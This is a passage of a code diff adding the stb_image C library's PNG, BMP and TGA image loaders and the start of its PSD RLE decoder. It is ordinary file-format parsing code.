+            if (first) return stbi__err("first not IHDR", "Corrupt PNG");
+            if (pal_img_n && !pal_len) return stbi__err("no PLTE","Corrupt PNG");
+            if (scan == STBI__SCAN_header) { s->img_n = pal_img_n; return 1; }
+            if ((int)(ioff + c.length) < (int)ioff) return 0;
+            if (ioff + c.length > idata_limit) {
+               stbi__uint32 idata_limit_old = idata_limit;
+               stbi_uc *p;
+               if (idata_limit == 0) idata_limit = c.length > 4096 ? c.length : 4096;
+               while (ioff + c.length > idata_limit)
+                  idata_limit *= 2;
+               STBI_NOTUSED(idata_limit_old);
+               p = (stbi_uc *) STBI_REALLOC_SIZED(z->idata, idata_limit_old, idata_limit); if (p == NULL) return stbi__err("outofmem", "Out of memory");
+               z->idata = p;
+            }
+            if (!stbi__getn(s, z->idata+ioff,c.length)) return stbi__err("outofdata","Corrupt PNG");
+            ioff += c.length;
+            break;
+         }
+
+         case STBI__PNG_TYPE('I','E','N','D'): {
+            stbi__uint32 raw_len, bpl;
+            if (first) return stbi__err("first not IHDR", "Corrupt PNG");
+            if (scan != STBI__SCAN_load) return 1;
+            if (z->idata == NULL) return stbi__err("no IDAT","Corrupt PNG");
+            // initial guess for decoded data size to avoid unnecessary reallocs
+            bpl = (s->img_x * z->depth + 7) / 8; // bytes per line, per component
+            raw_len = bpl * s->img_y * s->img_n /* pixels */ + s->img_y /* filter mode per row */;
+            z->expanded = (stbi_uc *) stbi_zlib_decode_malloc_guesssize_headerflag((char *) z->idata, ioff, raw_len, (int *) &raw_len, !is_iphone);
+            if (z->expanded == NULL) return 0; // zlib should set error
+            STBI_FREE(z->idata); z->idata = NULL;
+            if ((req_comp == s->img_n+1 && req_comp != 3 && !pal_img_n) || has_trans)
+               s->img_out_n = s->img_n+1;
+            else
+               s->img_out_n = s->img_n;
+            if (!stbi__create_png_image(z, z->expanded, raw_len, s->img_out_n, z->depth, color, interlace)) return 0;
+            if (has_trans) {
+               if (z->depth == 16) {
+                  if (!stbi__compute_transparency16(z, tc16, s->img_out_n)) return 0;
+               } else {
+                  if (!stbi__compute_transparency(z, tc, s->img_out_n)) return 0;
+               }
+            }
+            if (is_iphone && stbi__de_iphone_flag && s->img_out_n > 2)
+               stbi__de_iphone(z);
+            if (pal_img_n) {
+               // pal_img_n == 3 or 4
+               s->img_n = pal_img_n; // record the actual colors we had
+               s->img_out_n = pal_img_n;
+               if (req_comp >= 3) s->img_out_n = req_comp;
+               if (!stbi__expand_png_palette(z, palette, pal_len, s->img_out_n))
+                  return 0;
+            } else if (has_trans) {
+               // non-paletted image with tRNS -> source image has (constant) alpha
+               ++s->img_n;
+            }
+            STBI_FREE(z->expanded); z->expanded = NULL;
+            return 1;
+         }
+
+         default:
+            // if critical, fail
+            if (first) return stbi__err("first not IHDR", "Corrupt PNG");
+            if ((c.type & (1 << 29)) == 0) {
+               #ifndef STBI_NO_FAILURE_STRINGS
+               // not threadsafe
+               static char invalid_chunk[] = "XXXX PNG chunk not known";
+               invalid_chunk[0] = STBI__BYTECAST(c.type >> 24);
+               invalid_chunk[1] = STBI__BYTECAST(c.type >> 16);
+               invalid_chunk[2] = STBI__BYTECAST(c.type >>  8);
+               invalid_chunk[3] = STBI__BYTECAST(c.type >>  0);
+               #endif
+               return stbi__err(invalid_chunk, "PNG not supported: unknown PNG chunk type");
+            }
+            stbi__skip(s, c.length);
+            break;
+      }
+      // end of PNG chunk, read and skip CRC
+      stbi__get32be(s);
+   }
+}
+
+static void *stbi__do_png(stbi__png *p, int *x, int *y, int *n, int req_comp, stbi__result_info *ri)
+{
+   void *result=NULL;
+   if (req_comp < 0 || req_comp > 4) return stbi__errpuc("bad req_comp", "Internal error");
+   if (stbi__parse_png_file(p, STBI__SCAN_load, req_comp)) {
+      if (p->depth < 8)
+         ri->bits_per_channel = 8;
+      else
+         ri->bits_per_channel = p->depth;
+      result = p->out;
+      p->out = NULL;
+      if (req_comp && req_comp != p->s->img_out_n) {
+         if (ri->bits_per_channel == 8)
+            result = stbi__convert_format((unsigned char *) result, p->s->img_out_n, req_comp, p->s->img_x, p->s->img_y);
+         else
+            result = stbi__convert_format16((stbi__uint16 *) result, p->s->img_out_n, req_comp, p->s->img_x, p->s->img_y);
+         p->s->img_out_n = req_comp;
+         if (result == NULL) return result;
+      }
+      *x = p->s->img_x;
+      *y = p->s->img_y;
+      if (n) *n = p->s->img_n;
+   }
+   STBI_FREE(p->out);      p->out      = NULL;
+   STBI_FREE(p->expanded); p->expanded = NULL;
+   STBI_FREE(p->idata);    p->idata    = NULL;
+
+   return result;
+}
+
+static void *stbi__png_load(stbi__context *s, int *x, int *y, int *comp, int req_comp, stbi__result_info *ri)
+{
+   stbi__png p;
+   p.s = s;
+   return stbi__do_png(&p, x,y,comp,req_comp, ri);
+}
+
+static int stbi__png_test(stbi__context *s)
+{
+   int r;
+   r = stbi__check_png_header(s);
+   stbi__rewind(s);
+   return r;
+}
+
+static int stbi__png_info_raw(stbi__png *p, int *x, int *y, int *comp)
+{
+   if (!stbi__parse_png_file(p, STBI__SCAN_header, 0)) {
+      stbi__rewind( p->s );
+      return 0;
+   }
+   if (x) *x = p->s->img_x;
+   if (y) *y = p->s->img_y;
+   if (comp) *comp = p->s->img_n;
+   return 1;
+}
+
+static int stbi__png_info(stbi__context *s, int *x, int *y, int *comp)
+{
+   stbi__png p;
+   p.s = s;
+   return stbi__png_info_raw(&p, x, y, comp);
+}
+
+static int stbi__png_is16(stbi__context *s)
+{
+   stbi__png p;
+   p.s = s;
+   if (!stbi__png_info_raw(&p, NULL, NULL, NULL))
+	   return 0;
+   if (p.depth != 16) {
+      stbi__rewind(p.s);
+      return 0;
+   }
+   return 1;
+}
+#endif
+
+// Microsoft/Windows BMP image
+
+#ifndef STBI_NO_BMP
+static int stbi__bmp_test_raw(stbi__context *s)
+{
+   int r;
+   int sz;
+   if (stbi__get8(s) != 'B') return 0;
+   if (stbi__get8(s) != 'M') return 0;
+   stbi__get32le(s); // discard filesize
+   stbi__get16le(s); // discard reserved
+   stbi__get16le(s); // discard reserved
+   stbi__get32le(s); // discard data offset
+   sz = stbi__get32le(s);
+   r = (sz == 12 || sz == 40 || sz == 56 || sz == 108 || sz == 124);
+   return r;
+}
+
+static int stbi__bmp_test(stbi__context *s)
+{
+   int r = stbi__bmp_test_raw(s);
+   stbi__rewind(s);
+   return r;
+}
+
+
+// returns 0..31 for the highest set bit
+static int stbi__high_bit(unsigned int z)
+{
+   int n=0;
+   if (z == 0) return -1;
+   if (z >= 0x10000) n += 16, z >>= 16;
+   if (z >= 0x00100) n +=  8, z >>=  8;
+   if (z >= 0x00010) n +=  4, z >>=  4;
+   if (z >= 0x00004) n +=  2, z >>=  2;
+   if (z >= 0x00002) n +=  1, z >>=  1;
+   return n;
+}
+
+static int stbi__bitcount(unsigned int a)
+{
+   a = (a & 0x55555555) + ((a >>  1) & 0x55555555); // max 2
+   a = (a & 0x33333333) + ((a >>  2) & 0x33333333); // max 4
+   a = (a + (a >> 4)) & 0x0f0f0f0f; // max 8 per 4, now 8 bits
+   a = (a + (a >> 8)); // max 16 per 8 bits
+   a = (a + (a >> 16)); // max 32 per 8 bits
+   return a & 0xff;
+}
+
+// extract an arbitrarily-aligned N-bit value (N=bits)
+// from v, and then make it 8-bits long and fractionally
+// extend it to full full range.
+static int stbi__shiftsigned(int v, int shift, int bits)
+{
+   static unsigned int mul_table[9] = {
+      0,
+      0xff/*0b11111111*/, 0x55/*0b01010101*/, 0x49/*0b01001001*/, 0x11/*0b00010001*/,
+      0x21/*0b00100001*/, 0x41/*0b01000001*/, 0x81/*0b10000001*/, 0x01/*0b00000001*/,
+   };
+   static unsigned int shift_table[9] = {
+      0, 0,0,1,0,2,4,6,0,
+   };
+   if (shift < 0)
+      v <<= -shift;
+   else
+      v >>= shift;
+   STBI_ASSERT(v >= 0 && v < 256);
+   v >>= (8-bits);
+   STBI_ASSERT(bits >= 0 && bits <= 8);
+   return (int) ((unsigned) v * mul_table[bits]) >> shift_table[bits];
+}
+
+typedef struct
+{
+   int bpp, offset, hsz;
+   unsigned int mr,mg,mb,ma, all_a;
+} stbi__bmp_data;
+
+static void *stbi__bmp_parse_header(stbi__context *s, stbi__bmp_data *info)
+{
+   int hsz;
+   if (stbi__get8(s) != 'B' || stbi__get8(s) != 'M') return stbi__errpuc("not BMP", "Corrupt BMP");
+   stbi__get32le(s); // discard filesize
+   stbi__get16le(s); // discard reserved
+   stbi__get16le(s); // discard reserved
+   info->offset = stbi__get32le(s);
+   info->hsz = hsz = stbi__get32le(s);
+   info->mr = info->mg = info->mb = info->ma = 0;
+
+   if (hsz != 12 && hsz != 40 && hsz != 56 && hsz != 108 && hsz != 124) return stbi__errpuc("unknown BMP", "BMP type not supported: unknown");
+   if (hsz == 12) {
+      s->img_x = stbi__get16le(s);
+      s->img_y = stbi__get16le(s);
+   } else {
+      s->img_x = stbi__get32le(s);
+      s->img_y = stbi__get32le(s);
+   }
+   if (stbi__get16le(s) != 1) return stbi__errpuc("bad BMP", "bad BMP");
+   info->bpp = stbi__get16le(s);
+   if (hsz != 12) {
+      int compress = stbi__get32le(s);
+      if (compress == 1 || compress == 2) return stbi__errpuc("BMP RLE", "BMP type not supported: RLE");
+      stbi__get32le(s); // discard sizeof
+      stbi__get32le(s); // discard hres
+      stbi__get32le(s); // discard vres
+      stbi__get32le(s); // discard colorsused
+      stbi__get32le(s); // discard max important
+      if (hsz == 40 || hsz == 56) {
+         if (hsz == 56) {
+            stbi__get32le(s);
+            stbi__get32le(s);
+            stbi__get32le(s);
+            stbi__get32le(s);
+         }
+         if (info->bpp == 16 || info->bpp == 32) {
+            if (compress == 0) {
+               if (info->bpp == 32) {
+                  info->mr = 0xffu << 16;
+                  info->mg = 0xffu <<  8;
+                  info->mb = 0xffu <<  0;
+                  info->ma = 0xffu << 24;
+                  info->all_a = 0; // if all_a is 0 at end, then we loaded alpha channel but it was all 0
+               } else {
+                  info->mr = 31u << 10;
+                  info->mg = 31u <<  5;
+                  info->mb = 31u <<  0;
+               }
+            } else if (compress == 3) {
+               info->mr = stbi__get32le(s);
+               info->mg = stbi__get32le(s);
+               info->mb = stbi__get32le(s);
+               // not documented, but generated by photoshop and handled by mspaint
+               if (info->mr == info->mg && info->mg == info->mb) {
+                  // ?!?!?
+                  return stbi__errpuc("bad BMP", "bad BMP");
+               }
+            } else
+               return stbi__errpuc("bad BMP", "bad BMP");
+         }
+      } else {
+         int i;
+         if (hsz != 108 && hsz != 124)
+            return stbi__errpuc("bad BMP", "bad BMP");
+         info->mr = stbi__get32le(s);
+         info->mg = stbi__get32le(s);
+         info->mb = stbi__get32le(s);
+         info->ma = stbi__get32le(s);
+         stbi__get32le(s); // discard color space
+         for (i=0; i < 12; ++i)
+            stbi__get32le(s); // discard color space parameters
+         if (hsz == 124) {
+            stbi__get32le(s); // discard rendering intent
+            stbi__get32le(s); // discard offset of profile data
+            stbi__get32le(s); // discard size of profile data
+            stbi__get32le(s); // discard reserved
+         }
+      }
+   }
+   return (void *) 1;
+}
+
+
+static void *stbi__bmp_load(stbi__context *s, int *x, int *y, int *comp, int req_comp, stbi__result_info *ri)
+{
+   stbi_uc *out;
+   unsigned int mr=0,mg=0,mb=0,ma=0, all_a;
+   stbi_uc pal[256][4];
+   int psize=0,i,j,width;
+   int flip_vertically, pad, target;
+   stbi__bmp_data info;
+   STBI_NOTUSED(ri);
+
+   info.all_a = 255;
+   if (stbi__bmp_parse_header(s, &info) == NULL)
+      return NULL; // error code already set
+
+   flip_vertically = ((int) s->img_y) > 0;
+   s->img_y = abs((int) s->img_y);
+
+   mr = info.mr;
+   mg = info.mg;
+   mb = info.mb;
+   ma = info.ma;
+   all_a = info.all_a;
+
+   if (info.hsz == 12) {
+      if (info.bpp < 24)
+         psize = (info.offset - 14 - 24) / 3;
+   } else {
+      if (info.bpp < 16)
+         psize = (info.offset - 14 - info.hsz) >> 2;
+   }
+
+   s->img_n = ma ? 4 : 3;
+   if (req_comp && req_comp >= 3) // we can directly decode 3 or 4
+      target = req_comp;
+   else
+      target = s->img_n; // if they want monochrome, we'll post-convert
+
+   // sanity-check size
+   if (!stbi__mad3sizes_valid(target, s->img_x, s->img_y, 0))
+      return stbi__errpuc("too large", "Corrupt BMP");
+
+   out = (stbi_uc *) stbi__malloc_mad3(target, s->img_x, s->img_y, 0);
+   if (!out) return stbi__errpuc("outofmem", "Out of memory");
+   if (info.bpp < 16) {
+      int z=0;
+      if (psize == 0 || psize > 256) { STBI_FREE(out); return stbi__errpuc("invalid", "Corrupt BMP"); }
+      for (i=0; i < psize; ++i) {
+         pal[i][2] = stbi__get8(s);
+         pal[i][1] = stbi__get8(s);
+         pal[i][0] = stbi__get8(s);
+         if (info.hsz != 12) stbi__get8(s);
+         pal[i][3] = 255;
+      }
+      stbi__skip(s, info.offset - 14 - info.hsz - psize * (info.hsz == 12 ? 3 : 4));
+      if (info.bpp == 1) width = (s->img_x + 7) >> 3;
+      else if (info.bpp == 4) width = (s->img_x + 1) >> 1;
+      else if (info.bpp == 8) width = s->img_x;
+      else { STBI_FREE(out); return stbi__errpuc("bad bpp", "Corrupt BMP"); }
+      pad = (-width)&3;
+      if (info.bpp == 1) {
+         for (j=0; j < (int) s->img_y; ++j) {
+            int bit_offset = 7, v = stbi__get8(s);
+            for (i=0; i < (int) s->img_x; ++i) {
+               int color = (v>>bit_offset)&0x1;
+               out[z++] = pal[color][0];
+               out[z++] = pal[color][1];
+               out[z++] = pal[color][2];
+               if((--bit_offset) < 0) {
+                  bit_offset = 7;
+                  v = stbi__get8(s);
+               }
+            }
+            stbi__skip(s, pad);
+         }
+      } else {
+         for (j=0; j < (int) s->img_y; ++j) {
+            for (i=0; i < (int) s->img_x; i += 2) {
+               int v=stbi__get8(s),v2=0;
+               if (info.bpp == 4) {
+                  v2 = v & 15;
+                  v >>= 4;
+               }
+               out[z++] = pal[v][0];
+               out[z++] = pal[v][1];
+               out[z++] = pal[v][2];
+               if (target == 4) out[z++] = 255;
+               if (i+1 == (int) s->img_x) break;
+               v = (info.bpp == 8) ? stbi__get8(s) : v2;
+               out[z++] = pal[v][0];
+               out[z++] = pal[v][1];
+               out[z++] = pal[v][2];
+               if (target == 4) out[z++] = 255;
+            }
+            stbi__skip(s, pad);
+         }
+      }
+   } else {
+      int rshift=0,gshift=0,bshift=0,ashift=0,rcount=0,gcount=0,bcount=0,acount=0;
+      int z = 0;
+      int easy=0;
+      stbi__skip(s, info.offset - 14 - info.hsz);
+      if (info.bpp == 24) width = 3 * s->img_x;
+      else if (info.bpp == 16) width = 2*s->img_x;
+      else /* bpp = 32 and pad = 0 */ width=0;
+      pad = (-width) & 3;
+      if (info.bpp == 24) {
+         easy = 1;
+      } else if (info.bpp == 32) {
+         if (mb == 0xff && mg == 0xff00 && mr == 0x00ff0000 && ma == 0xff000000)
+            easy = 2;
+      }
+      if (!easy) {
+         if (!mr || !mg || !mb) { STBI_FREE(out); return stbi__errpuc("bad masks", "Corrupt BMP"); }
+         // right shift amt to put high bit in position #7
+         rshift = stbi__high_bit(mr)-7; rcount = stbi__bitcount(mr);
+         gshift = stbi__high_bit(mg)-7; gcount = stbi__bitcount(mg);
+         bshift = stbi__high_bit(mb)-7; bcount = stbi__bitcount(mb);
+         ashift = stbi__high_bit(ma)-7; acount = stbi__bitcount(ma);
+      }
+      for (j=0; j < (int) s->img_y; ++j) {
+         if (easy) {
+            for (i=0; i < (int) s->img_x; ++i) {
+               unsigned char a;
+               out[z+2] = stbi__get8(s);
+               out[z+1] = stbi__get8(s);
+               out[z+0] = stbi__get8(s);
+               z += 3;
+               a = (easy == 2 ? stbi__get8(s) : 255);
+               all_a |= a;
+               if (target == 4) out[z++] = a;
+            }
+         } else {
+            int bpp = info.bpp;
+            for (i=0; i < (int) s->img_x; ++i) {
+               stbi__uint32 v = (bpp == 16 ? (stbi__uint32) stbi__get16le(s) : stbi__get32le(s));
+               unsigned int a;
+               out[z++] = STBI__BYTECAST(stbi__shiftsigned(v & mr, rshift, rcount));
+               out[z++] = STBI__BYTECAST(stbi__shiftsigned(v & mg, gshift, gcount));
+               out[z++] = STBI__BYTECAST(stbi__shiftsigned(v & mb, bshift, bcount));
+               a = (ma ? stbi__shiftsigned(v & ma, ashift, acount) : 255);
+               all_a |= a;
+               if (target == 4) out[z++] = STBI__BYTECAST(a);
+            }
+         }
+         stbi__skip(s, pad);
+      }
+   }
+
+   // if alpha channel is all 0s, replace with all 255s
+   if (target == 4 && all_a == 0)
+      for (i=4*s->img_x*s->img_y-1; i >= 0; i -= 4)
+         out[i] = 255;
+
+   if (flip_vertically) {
+      stbi_uc t;
+      for (j=0; j < (int) s->img_y>>1; ++j) {
+         stbi_uc *p1 = out +      j     *s->img_x*target;
+         stbi_uc *p2 = out + (s->img_y-1-j)*s->img_x*target;
+         for (i=0; i < (int) s->img_x*target; ++i) {
+            t = p1[i], p1[i] = p2[i], p2[i] = t;
+         }
+      }
+   }
+
+   if (req_comp && req_comp != target) {
+      out = stbi__convert_format(out, target, req_comp, s->img_x, s->img_y);
+      if (out == NULL) return out; // stbi__convert_format frees input on failure
+   }
+
+   *x = s->img_x;
+   *y = s->img_y;
+   if (comp) *comp = s->img_n;
+   return out;
+}
+#endif
+
+// Targa Truevision - TGA
+// by Jonathan Dummer
+#ifndef STBI_NO_TGA
+// returns STBI_rgb or whatever, 0 on error
+static int stbi__tga_get_comp(int bits_per_pixel, int is_grey, int* is_rgb16)
+{
+   // only RGB or RGBA (incl. 16bit) or grey allowed
+   if (is_rgb16) *is_rgb16 = 0;
+   switch(bits_per_pixel) {
+      case 8:  return STBI_grey;
+      case 16: if(is_grey) return STBI_grey_alpha;
+               // fallthrough
+      case 15: if(is_rgb16) *is_rgb16 = 1;
+               return STBI_rgb;
+      case 24: // fallthrough
+      case 32: return bits_per_pixel/8;
+      default: return 0;
+   }
+}
+
+static int stbi__tga_info(stbi__context *s, int *x, int *y, int *comp)
+{
+    int tga_w, tga_h, tga_comp, tga_image_type, tga_bits_per_pixel, tga_colormap_bpp;
+    int sz, tga_colormap_type;
+    stbi__get8(s);                   // discard Offset
+    tga_colormap_type = stbi__get8(s); // colormap type
+    if( tga_colormap_type > 1 ) {
+        stbi__rewind(s);
+        return 0;      // only RGB or indexed allowed
+    }
+    tga_image_type = stbi__get8(s); // image type
+    if ( tga_colormap_type == 1 ) { // colormapped (paletted) image
+        if (tga_image_type != 1 && tga_image_type != 9) {
+            stbi__rewind(s);
+            return 0;
+        }
+        stbi__skip(s,4);       // skip index of first colormap entry and number of entries
+        sz = stbi__get8(s);    //   check bits per palette color entry
+        if ( (sz != 8) && (sz != 15) && (sz != 16) && (sz != 24) && (sz != 32) ) {
+            stbi__rewind(s);
+            return 0;
+        }
+        stbi__skip(s,4);       // skip image x and y origin
+        tga_colormap_bpp = sz;
+    } else { // "normal" image w/o colormap - only RGB or grey allowed, +/- RLE
+        if ( (tga_image_type != 2) && (tga_image_type != 3) && (tga_image_type != 10) && (tga_image_type != 11) ) {
+            stbi__rewind(s);
+            return 0; // only RGB or grey allowed, +/- RLE
+        }
+        stbi__skip(s,9); // skip colormap specification and image x/y origin
+        tga_colormap_bpp = 0;
+    }
+    tga_w = stbi__get16le(s);
+    if( tga_w < 1 ) {
+        stbi__rewind(s);
+        return 0;   // test width
+    }
+    tga_h = stbi__get16le(s);
+    if( tga_h < 1 ) {
+        stbi__rewind(s);
+        return 0;   // test height
+    }
+    tga_bits_per_pixel = stbi__get8(s); // bits per pixel
+    stbi__get8(s); // ignore alpha bits
+    if (tga_colormap_bpp != 0) {
+        if((tga_bits_per_pixel != 8) && (tga_bits_per_pixel != 16)) {
+            // when using a colormap, tga_bits_per_pixel is the size of the indexes
+            // I don't think anything but 8 or 16bit indexes makes sense
+            stbi__rewind(s);
+            return 0;
+        }
+        tga_comp = stbi__tga_get_comp(tga_colormap_bpp, 0, NULL);
+    } else {
+        tga_comp = stbi__tga_get_comp(tga_bits_per_pixel, (tga_image_type == 3) || (tga_image_type == 11), NULL);
+    }
+    if(!tga_comp) {
+      stbi__rewind(s);
+      return 0;
+    }
+    if (x) *x = tga_w;
+    if (y) *y = tga_h;
+    if (comp) *comp = tga_comp;
+    return 1;                   // seems to have passed everything
+}
+
+static int stbi__tga_test(stbi__context *s)
+{
+   int res = 0;
+   int sz, tga_color_type;
+   stbi__get8(s);      //   discard Offset
+   tga_color_type = stbi__get8(s);   //   color type
+   if ( tga_color_type > 1 ) goto errorEnd;   //   only RGB or indexed allowed
+   sz = stbi__get8(s);   //   image type
+   if ( tga_color_type == 1 ) { // colormapped (paletted) image
+      if (sz != 1 && sz != 9) goto errorEnd; // colortype 1 demands image type 1 or 9
+      stbi__skip(s,4);       // skip index of first colormap entry and number of entries
+      sz = stbi__get8(s);    //   check bits per palette color entry
+      if ( (sz != 8) && (sz != 15) && (sz != 16) && (sz != 24) && (sz != 32) ) goto errorEnd;
+      stbi__skip(s,4);       // skip image x and y origin
+   } else { // "normal" image w/o colormap
+      if ( (sz != 2) && (sz != 3) && (sz != 10) && (sz != 11) ) goto errorEnd; // only RGB or grey allowed, +/- RLE
+      stbi__skip(s,9); // skip colormap specification and image x/y origin
+   }
+   if ( stbi__get16le(s) < 1 ) goto errorEnd;      //   test width
+   if ( stbi__get16le(s) < 1 ) goto errorEnd;      //   test height
+   sz = stbi__get8(s);   //   bits per pixel
+   if ( (tga_color_type == 1) && (sz != 8) && (sz != 16) ) goto errorEnd; // for colormapped images, bpp is size of an index
+   if ( (sz != 8) && (sz != 15) && (sz != 16) && (sz != 24) && (sz != 32) ) goto errorEnd;
+
+   res = 1; // if we got this far, everything's good and we can return 1 instead of 0
+
+errorEnd:
+   stbi__rewind(s);
+   return res;
+}
+
+// read 16bit value and convert to 24bit RGB
+static void stbi__tga_read_rgb16(stbi__context *s, stbi_uc* out)
+{
+   stbi__uint16 px = (stbi__uint16)stbi__get16le(s);
+   stbi__uint16 fiveBitMask = 31;
+   // we have 3 channels with 5bits each
+   int r = (px >> 10) & fiveBitMask;
+   int g = (px >> 5) & fiveBitMask;
+   int b = px & fiveBitMask;
+   // Note that this saves the data in RGB(A) order, so it doesn't need to be swapped later
+   out[0] = (stbi_uc)((r * 255)/31);
+   out[1] = (stbi_uc)((g * 255)/31);
+   out[2] = (stbi_uc)((b * 255)/31);
+
+   // some people claim that the most significant bit might be used for alpha
+   // (possibly if an alpha-bit is set in the "image descriptor byte")
+   // but that only made 16bit test images completely translucent..
+   // so let's treat all 15 and 16bit TGAs as RGB with no alpha.
+}
+
+static void *stbi__tga_load(stbi__context *s, int *x, int *y, int *comp, int req_comp, stbi__result_info *ri)
+{
+   //   read in the TGA header stuff
+   int tga_offset = stbi__get8(s);
+   int tga_indexed = stbi__get8(s);
+   int tga_image_type = stbi__get8(s);
+   int tga_is_RLE = 0;
+   int tga_palette_start = stbi__get16le(s);
+   int tga_palette_len = stbi__get16le(s);
+   int tga_palette_bits = stbi__get8(s);
+   int tga_x_origin = stbi__get16le(s);
+   int tga_y_origin = stbi__get16le(s);
+   int tga_width = stbi__get16le(s);
+   int tga_height = stbi__get16le(s);
+   int tga_bits_per_pixel = stbi__get8(s);
+   int tga_comp, tga_rgb16=0;
+   int tga_inverted = stbi__get8(s);
+   // int tga_alpha_bits = tga_inverted & 15; // the 4 lowest bits - unused (useless?)
+   //   image data
+   unsigned char *tga_data;
+   unsigned char *tga_palette = NULL;
+   int i, j;
+   unsigned char raw_data[4] = {0};
+   int RLE_count = 0;
+   int RLE_repeating = 0;
+   int read_next_pixel = 1;
+   STBI_NOTUSED(ri);
+
+   //   do a tiny bit of precessing
+   if ( tga_image_type >= 8 )
+   {
+      tga_image_type -= 8;
+      tga_is_RLE = 1;
+   }
+   tga_inverted = 1 - ((tga_inverted >> 5) & 1);
+
+   //   If I'm paletted, then I'll use the number of bits from the palette
+   if ( tga_indexed ) tga_comp = stbi__tga_get_comp(tga_palette_bits, 0, &tga_rgb16);
+   else tga_comp = stbi__tga_get_comp(tga_bits_per_pixel, (tga_image_type == 3), &tga_rgb16);
+
+   if(!tga_comp) // shouldn't really happen, stbi__tga_test() should have ensured basic consistency
+      return stbi__errpuc("bad format", "Can't find out TGA pixelformat");
+
+   //   tga info
+   *x = tga_width;
+   *y = tga_height;
+   if (comp) *comp = tga_comp;
+
+   if (!stbi__mad3sizes_valid(tga_width, tga_height, tga_comp, 0))
+      return stbi__errpuc("too large", "Corrupt TGA");
+
+   tga_data = (unsigned char*)stbi__malloc_mad3(tga_width, tga_height, tga_comp, 0);
+   if (!tga_data) return stbi__errpuc("outofmem", "Out of memory");
+
+   // skip to the data's starting position (offset usually = 0)
+   stbi__skip(s, tga_offset );
+
+   if ( !tga_indexed && !tga_is_RLE && !tga_rgb16 ) {
+      for (i=0; i < tga_height; ++i) {
+         int row = tga_inverted ? tga_height -i - 1 : i;
+         stbi_uc *tga_row = tga_data + row*tga_width*tga_comp;
+         stbi__getn(s, tga_row, tga_width * tga_comp);
+      }
+   } else  {
+      //   do I need to load a palette?
+      if ( tga_indexed)
+      {
+         //   any data to skip? (offset usually = 0)
+         stbi__skip(s, tga_palette_start );
+         //   load the palette
+         tga_palette = (unsigned char*)stbi__malloc_mad2(tga_palette_len, tga_comp, 0);
+         if (!tga_palette) {
+            STBI_FREE(tga_data);
+            return stbi__errpuc("outofmem", "Out of memory");
+         }
+         if (tga_rgb16) {
+            stbi_uc *pal_entry = tga_palette;
+            STBI_ASSERT(tga_comp == STBI_rgb);
+            for (i=0; i < tga_palette_len; ++i) {
+               stbi__tga_read_rgb16(s, pal_entry);
+               pal_entry += tga_comp;
+            }
+         } else if (!stbi__getn(s, tga_palette, tga_palette_len * tga_comp)) {
+               STBI_FREE(tga_data);
+               STBI_FREE(tga_palette);
+               return stbi__errpuc("bad palette", "Corrupt TGA");
+         }
+      }
+      //   load the data
+      for (i=0; i < tga_width * tga_height; ++i)
+      {
+         //   if I'm in RLE mode, do I need to get a RLE stbi__pngchunk?
+         if ( tga_is_RLE )
+         {
+            if ( RLE_count == 0 )
+            {
+               //   yep, get the next byte as a RLE command
+               int RLE_cmd = stbi__get8(s);
+               RLE_count = 1 + (RLE_cmd & 127);
+               RLE_repeating = RLE_cmd >> 7;
+               read_next_pixel = 1;
+            } else if ( !RLE_repeating )
+            {
+               read_next_pixel = 1;
+            }
+         } else
+         {
+            read_next_pixel = 1;
+         }
+         //   OK, if I need to read a pixel, do it now
+         if ( read_next_pixel )
+         {
+            //   load however much data we did have
+            if ( tga_indexed )
+            {
+               // read in index, then perform the lookup
+               int pal_idx = (tga_bits_per_pixel == 8) ? stbi__get8(s) : stbi__get16le(s);
+               if ( pal_idx >= tga_palette_len ) {
+                  // invalid index
+                  pal_idx = 0;
+               }
+               pal_idx *= tga_comp;
+               for (j = 0; j < tga_comp; ++j) {
+                  raw_data[j] = tga_palette[pal_idx+j];
+               }
+            } else if(tga_rgb16) {
+               STBI_ASSERT(tga_comp == STBI_rgb);
+               stbi__tga_read_rgb16(s, raw_data);
+            } else {
+               //   read in the data raw
+               for (j = 0; j < tga_comp; ++j) {
+                  raw_data[j] = stbi__get8(s);
+               }
+            }
+            //   clear the reading flag for the next pixel
+            read_next_pixel = 0;
+         } // end of reading a pixel
+
+         // copy data
+         for (j = 0; j < tga_comp; ++j)
+           tga_data[i*tga_comp+j] = raw_data[j];
+
+         //   in case we're in RLE mode, keep counting down
+         --RLE_count;
+      }
+      //   do I need to invert the image?
+      if ( tga_inverted )
+      {
+         for (j = 0; j*2 < tga_height; ++j)
+         {
+            int index1 = j * tga_width * tga_comp;
+            int index2 = (tga_height - 1 - j) * tga_width * tga_comp;
+            for (i = tga_width * tga_comp; i > 0; --i)
+            {
+               unsigned char temp = tga_data[index1];
+               tga_data[index1] = tga_data[index2];
+               tga_data[index2] = temp;
+               ++index1;
+               ++index2;
+            }
+         }
+      }
+      //   clear my palette, if I had one
+      if ( tga_palette != NULL )
+      {
+         STBI_FREE( tga_palette );
+      }
+   }
+
+   // swap RGB - if the source data was RGB16, it already is in the right order
+   if (tga_comp >= 3 && !tga_rgb16)
+   {
+      unsigned char* tga_pixel = tga_data;
+      for (i=0; i < tga_width * tga_height; ++i)
+      {
+         unsigned char temp = tga_pixel[0];
+         tga_pixel[0] = tga_pixel[2];
+         tga_pixel[2] = temp;
+         tga_pixel += tga_comp;
+      }
+   }
+
+   // convert to target component count
+   if (req_comp && req_comp != tga_comp)
+      tga_data = stbi__convert_format(tga_data, tga_comp, req_comp, tga_width, tga_height);
+
+   //   the things I do to get rid of an error message, and yet keep
+   //   Microsoft's C compilers happy... [8^(
+   tga_palette_start = tga_palette_len = tga_palette_bits =
+         tga_x_origin = tga_y_origin = 0;
+   //   OK, done
+   return tga_data;
+}
+#endif
+
+// *************************************************************************************************
+// Photoshop PSD loader -- PD by Thatcher Ulrich, integration by Nicolas Schulz, tweaked by STB
+
+#ifndef STBI_NO_PSD
+static int stbi__psd_test(stbi__context *s)
+{
+   int r = (stbi__get32be(s) == 0x38425053);
+   stbi__rewind(s);
+   return r;
+}
+
+static int stbi__psd_decode_rle(stbi__context *s, stbi_uc *p, int pixelCount)
+{
+   int count, nleft, len;
+
+   count = 0;
+   while ((nleft = pixelCount - count) > 0) {
+      len = stbi__get8(s);
+      if (len == 128) {
+         // No-op.
+      } else if (len < 128) {
+         // Copy next len+1 bytes literally.
+         len++;
+         if (len > nleft) return 0; // corrupt data
+         count += len;
+         while (len) {
+            *p = stbi__get8(s);
+            p += 4;
+            len--;
+         }
+      } else if (len > 128) {
+         stbi_uc   val;
+         // Next -len+1 bytes in the dest are replicated from next source byte.
+         // (Interpret len as a negative 8-bit int.)
+         len = 257 - len;
